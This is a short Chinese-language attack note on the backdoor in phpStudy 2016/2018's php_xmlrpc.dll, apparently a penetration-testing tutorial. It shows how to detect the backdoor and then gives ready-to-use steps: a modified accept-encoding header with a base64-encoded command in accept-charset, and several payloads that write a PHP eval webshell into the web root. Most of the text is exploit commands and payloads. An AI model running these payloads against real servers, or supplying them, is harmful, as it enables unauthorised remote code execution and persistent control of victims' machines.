笔记
前言
如果服务器是用phpstudy2016或phpstudy2018搭建的,那么就有可能存在后门
发现漏洞
后门代码在phpStudy2016和phpStudy2018的php-5.2.17或php-5.4.45的\ext\php_xmlrpc.dll文件中
只要该文件中可以搜索到@eval(%s(‘%s’))
,即证明漏洞存在
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
后门利用
(1)访问目标服务器url时,用bp抓包
(2)找到accept-encoding: gzip, deflate,把逗号后面的空格删掉,改为accept-encoding: gzip,deflate,然后在accept-encoding: gzip,deflate这行前面或后面加上一行accept-charset:c3lzdGVtKCdkaXInKTs=,然后发送(这里的c3lzdGVtKCdkaXInKTs=是经过base64加密的)
这里以windows举例:
此时可以向目标服务器写入一句话
(1)dir:查看当前目录下的内容,可以一层层查看,最后找到WWW目录所在,将一句话写入
(2)chdir:查看当前所在目录,类似于linux中的pwd
(3)利用bp向目标系统指定位置写一句话木马,^表示写入特殊字符,例如<或>。写入后xx.php内容为:<?php @eval($_REQUEST[peak);?>
payload:
echo ^<?php @eval($_REQUEST[cmd]);?^> > xx.php
(4)利用bp向目标系统指定位置写一句话木马,这个不同的是,没有用到^,写入后xx.php内容为"<?php @eval($_REQUEST[cmd]);?>"
,但有"也可使用蚁剑连接
payload:
echo "<?php @eval($_REQUEST[cmd]);?>" > xx.php
注: echo '<?php @eval($_REQUEST[cmd]);?>' > xx.php,也可,写入后为<?php @eval($_REQUEST[cmd]);?>
(5)假设目标服务器使用的是phpstudy2018,最后那么payload就是
system('echo ^<?php @eval($_REQUEST[cmd]);?^> > C:\phpStudy\PHPTutorial\WWW\xx.php');
或
system('echo "<?php @eval($_REQUEST[cmd]);?>" > C:\phpStudy\PHPTutorial\WWW\xx.php');
注:下面写法会报错,主要由于""中的变量会执行,上面可以是因为system里的整体是’’,表示该整体是字符串
所以system执行时,最好使用’’,包含php的代码的也最好是’'包括
system("echo '<?php @eval($_REQUEST[cmd]);?>' > C:\phpStudy\PHPTutorial\WWW\xx.php");
而如果使用
system("echo \"<?php @eval($_REQUEST[cmd]);?>\" > C:\phpStudy\PHPTutorial\WWW\xx.php");
最后xx.php中为"<?php @eval();?>",也是""引起的问题